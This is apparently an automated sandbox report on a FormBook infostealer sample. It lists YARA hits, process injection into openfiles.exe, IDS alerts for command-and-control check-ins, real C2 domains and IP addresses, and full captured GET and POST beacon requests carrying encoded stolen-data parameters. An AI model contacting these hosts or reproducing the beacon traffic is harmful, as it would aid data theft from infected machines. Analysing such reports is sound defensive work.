Windows Analysis Report
IETC-24017.exe

AI detected suspicious sample

Source: Yara match	File source: 3.2.IETC-24017.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.IETC-24017.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1821676970.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4124676785.0000000004740000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4123746961.0000000000790000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4130326224.0000000007C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1822234803.00000000016B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4124625092.00000000046F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4124804278.0000000004D20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1824149461.0000000003920000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: IETC-24017.exe

Joe Sandbox ML: detected

Source: IETC-24017.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: IETC-24017.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: WyjV.pdb source: IETC-24017.exe
Source:	Binary string: OpnFiles.pdb source: IETC-24017.exe, 00000003.00000002.1821955897.0000000001368000.00000004.00000020.00020000.00000000.sdmp, UFUUPGsATdE.exe, 00000006.00000003.1908291913.0000000001232000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: UFUUPGsATdE.exe, 00000006.00000002.4124119366.0000000000D1E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: IETC-24017.exe, 00000003.00000002.1822408651.00000000017D0000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000007.00000003.1822081128.00000000045D8000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000007.00000002.4124808609.0000000004930000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000007.00000002.4124808609.0000000004ACE000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000007.00000003.1824349392.0000000004789000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: IETC-24017.exe, IETC-24017.exe, 00000003.00000002.1822408651.00000000017D0000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, openfiles.exe, 00000007.00000003.1822081128.00000000045D8000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000007.00000002.4124808609.0000000004930000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000007.00000002.4124808609.0000000004ACE000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000007.00000003.1824349392.0000000004789000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: OpnFiles.pdbGCTL source: IETC-24017.exe, 00000003.00000002.1821955897.0000000001368000.00000004.00000020.00020000.00000000.sdmp, UFUUPGsATdE.exe, 00000006.00000003.1908291913.0000000001232000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: WyjV.pdbSHA256H source: IETC-24017.exe

Source: C:\Windows\SysWOW64\openfiles.exe

Code function: 7_2_007AC810 FindFirstFileW,FindNextFileW,FindClose,

7_2_007AC810

Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 4x nop then mov esp, ebp	6_2_07CB9E2F
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 4x nop then xor eax, eax	6_2_07CBFD4D
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 4x nop then pop edi	6_2_07CBA4BC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 4x nop then xor eax, eax	7_2_00799F20
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 4x nop then mov ebx, 00000004h	7_2_048404E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49753 -> 74.48.143.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49759 -> 74.48.143.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49743 -> 185.27.134.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49742 -> 185.27.134.144:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49741 -> 104.21.16.206:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49776 -> 74.48.143.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49766 -> 74.48.143.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49744 -> 185.27.134.144:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49745 -> 185.27.134.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49830 -> 212.123.41.108:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49836 -> 212.123.41.108:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49848 -> 212.123.41.108:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49842 -> 212.123.41.108:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49792 -> 206.238.89.119:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49810 -> 206.238.89.119:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49804 -> 206.238.89.119:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49887 -> 172.67.223.206:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49872 -> 172.67.223.206:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49798 -> 206.238.89.119:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49909 -> 172.67.186.192:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49903 -> 172.67.186.192:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49864 -> 172.67.223.206:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49923 -> 172.67.186.192:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49941 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49948 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49961 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49881 -> 172.67.223.206:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49986 -> 43.199.54.158:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49954 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49915 -> 172.67.186.192:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49999 -> 43.199.54.158:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50015 -> 209.74.77.108:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49993 -> 43.199.54.158:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50022 -> 209.74.77.108:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49978 -> 43.199.54.158:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50030 -> 209.74.77.108:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50045 -> 185.27.134.206:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50044 -> 185.27.134.206:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50048 -> 163.44.185.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50057 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50051 -> 163.44.185.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50053 -> 217.160.0.200:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50059 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50050 -> 163.44.185.183:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50035 -> 209.74.77.108:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50058 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50047 -> 185.27.134.206:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50060 -> 77.68.64.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50049 -> 163.44.185.183:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50055 -> 217.160.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50052 -> 217.160.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50046 -> 185.27.134.206:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50054 -> 217.160.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50056 -> 107.167.84.42:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.amayavp.xyz
Source:	DNS query: www.izmirescortg.xyz
Source:	DNS query: www.030002613.xyz

Source: Joe Sandbox View	IP Address: 212.123.41.108 212.123.41.108
Source: Joe Sandbox View	IP Address: 185.27.134.144 185.27.134.144

Source: Joe Sandbox View	ASN Name: MULTIBAND-NEWHOPEUS MULTIBAND-NEWHOPEUS
Source: Joe Sandbox View	ASN Name: EPAG-ASDE EPAG-ASDE
Source: Joe Sandbox View	ASN Name: WILDCARD-ASWildcardUKLimitedGB WILDCARD-ASWildcardUKLimitedGB
Source: Joe Sandbox View	ASN Name: INTERQGMOInternetIncJP INTERQGMOInternetIncJP

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /wq47/?ifzt=+qWmsYvD7OMlDEAEm/jaBDQSW8n+pKrv9iKIE2pdq1tK+kqvSnJEJbP2DMl6xw9oMdRXFlgn6DbTeTaaAs/qgaat4XAxW5JpuJNECjkmcyUCSAd0ff+SBDY=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.airrelax.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /572a/?ifzt=hz/gBsBCliEB3liRCjDcUFpXpjm75vqUHY7uUC9CoicjvHiRwDII6Rr7fwqPQOBPL5PXCDqoRSfvUw6rLDaKlN9Kt5+gU7jSjDaWWRyTQ8pSIxkDCsHDSL4=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.amayavp.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ykn4/?qX=qP0hoZO0bjg4&ifzt=yDyVABeQ4Ct1InZ0OhfmdnBFKWQ7rCX+/8YxCwFx8D5ixU3VRgnj+l5ygnfgEeC3H+CzN484nEASY7Na52DMVUZTGbosqxUoBmbbT2616qreZhvQ7f+FXOQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.bpgroup.siteConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /jr18/?ifzt=3C4Tc4Z0RY2s+tVmXeTOODIbYY0cZjMPNpxOrzRAWYWXOarDQI6T49to0R5yr2OUxBUw9rD3bXyFurU9wVp+2dZYmhq26qK0uIAUBFaEfelf6gXLCXJ0iXw=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.127358.winConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /i3tv/?ifzt=ZfFmvi9Oe0q0E+s3tI8jowmrcKXFuAvLDG9tnsjazd2FMEfMyY6nK/4Bws6dZtaeRrlRwaDsvJ2Xfgg/epwI8XFwDGZNwHr0PbkZKGW1EbGZLzRKGsQFP6g=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.caj-bioteaque.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /nja3/?ifzt=xX7QHijLKmKAWZAs9KUJ90Gt08KwtA5eAlD9v6t/QyACTljzLqSragPJ2hUI6qEgwVB84l05/Y7pq3HewBlXgm1FdHpiB2a4qq1LC2jezQbSehWYjzmvyps=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.ssrpidemt-soar.sbsConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /sba9/?ifzt=hsKab5Z8okOTl8y9Vxbai4viX8bRHhfs9Ucn1wMjIFh0nzefPIjUKnrAgLCbEwixQNq8fslvmu/EEFVEU8GR0KRfEzdZZ5UTmPnT/iR9Rp0TOLJvLqtuatI=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.izmirescortg.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /xd9h/?ifzt=XJyTEs9GXoAybgJL3Lz0/JwH+eiTm1uUb57LZhSSXQP8iaO5Q6m7cM20hY6MGSJfub8ibR0rowNO83l3EomIXmC1+i3fga28+sLpZTTW/AC/fI2RjxZA+PI=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.030002613.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /zoqm/?qX=qP0hoZO0bjg4&ifzt=Qq0FFa8OkDRPhmjT0VM8NDOXfTRiFF6zBHj2iH9IdxJy16x8x8AWanWvy54Dx3T7LlN6VBvxFf1wAvhvFTk518nT82cv2sbx2pE2mKVvPmrAc0IY36SOsAA= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.327531.buzzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /aezw/?ifzt=XNcWUHXsHCrFsIBQlHGgjiME8CQZSYUU21qPNzqhKy2oFU8Odgs/t8kovejF8iENVZDP/oOK84yuTx8YyXOBoi/XK/eRsY6lCiyQls/Pp30YwPjl0cgXKAM=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.urbanfashion.websiteConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /vvzz/?ifzt=cUYTrm/9WoUGLtXnEfHvigyvVWYscXEqz9Hmi7WWzB+Eo/kiz1zVNsrH4IZXq93JBsPKcKHGWPOW5+N9njVZg9AZ40ltQReYzymzYn/PGSkLTDv/+fBeI5c=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.canadavinreport.siteConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /9k5s/?ifzt=LL9hxxOEAXNrd1/9gf6rhKwJTveb5Fl2+AbaSF/ioM6ycsHwCgOlWdWUKzBQGlsNiYd2kWB7LHmLrDvgpCIhDnf37DhA8cnF96i4zyTZqkB+X7XYpxBXm1Q=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.sankan-fukushi.infoConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /lnel/?ifzt=Ribo6cOqqFxVl074lXpGE14xRzI3KKS1rVAQT2LhUo1xH+0e39DTDCE0P6QoW4LNcCjE4+6almbk+DseMcJWDalTnHVPsL+WixWnB7fmocU+RCDZF77iizc=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.carsten.studioConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /omhm/?ifzt=xaTrXXt9Kjd4VWfnLz4MLqEmpY3f+jxhDbzO0ePZZ/F2G9w3aeU7HujdvobedEDJNQrJvHKMILqdCxDRZi1zA3XNT5QIvXDZ0i+KO+cUgqjZuYPkfG7cBF4=&qX=qP0hoZO0bjg4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.cssa.auctionConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.airrelax.shop
Source: global traffic	DNS traffic detected: DNS query: www.amayavp.xyz
Source: global traffic	DNS traffic detected: DNS query: www.bpgroup.site
Source: global traffic	DNS traffic detected: DNS query: www.127358.win
Source: global traffic	DNS traffic detected: DNS query: www.caj-bioteaque.online
Source: global traffic	DNS traffic detected: DNS query: www.ssrpidemt-soar.sbs
Source: global traffic	DNS traffic detected: DNS query: www.izmirescortg.xyz
Source: global traffic	DNS traffic detected: DNS query: www.030002613.xyz
Source: global traffic	DNS traffic detected: DNS query: www.327531.buzz
Source: global traffic	DNS traffic detected: DNS query: www.urbanfashion.website
Source: global traffic	DNS traffic detected: DNS query: www.canadavinreport.site
Source: global traffic	DNS traffic detected: DNS query: www.sankan-fukushi.info
Source: global traffic	DNS traffic detected: DNS query: www.carsten.studio
Source: global traffic	DNS traffic detected: DNS query: www.cssa.auction
Source: global traffic	DNS traffic detected: DNS query: www.dietcoffee.online

Source: unknown

HTTP traffic detected: POST /572a/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-usHost: www.amayavp.xyzContent-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheContent-Length: 201Origin: http://www.amayavp.xyzReferer: http://www.amayavp.xyz/572a/User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36Data Raw: 69 66 7a 74 3d 73 78 58 41 43 63 68 72 38 46 30 69 35 31 4c 69 4e 32 4c 4c 41 47 63 50 6c 54 53 56 72 76 75 6b 41 71 37 6d 4c 78 59 6e 6a 45 55 65 34 48 32 61 32 78 39 57 7a 54 6e 31 59 68 2b 33 65 37 64 38 46 72 7a 53 4b 54 61 4b 58 33 48 53 64 54 65 6a 4b 44 69 61 6c 4e 77 5a 6c 73 47 72 62 36 2f 35 72 47 32 48 59 41 50 30 52 74 74 4c 48 78 30 6c 65 63 50 6d 52 64 62 55 4d 6c 77 4c 67 76 2f 42 56 66 49 48 37 5a 4b 4d 42 48 6b 4d 6f 75 6d 35 43 51 77 49 49 4f 38 4a 57 56 58 74 41 78 48 50 52 67 38 45 68 42 45 47 4f 57 58 6f 34 51 75 2b 56 36 75 62 50 32 65 37 64 36 43 64 67 31 52 52 41 77 3d 3d Data Ascii: ifzt=sxXACchr8F0i51LiN2LLAGcPlTSVrvukAq7mLxYnjEUe4H2a2x9WzTn1Yh+3e7d8FrzSKTaKX3HSdTejKDialNwZlsGrb6/5rG2HYAP0RttLHx0lecPmRdbUMlwLgv/BVfIH7ZKMBHkMoum5CQwIIO8JWVXtAxHPRg8EhBEGOWXo4Qu+V6ubP2e7d6Cdg1RRAw==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 25 Nov 2024 08:43:04 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 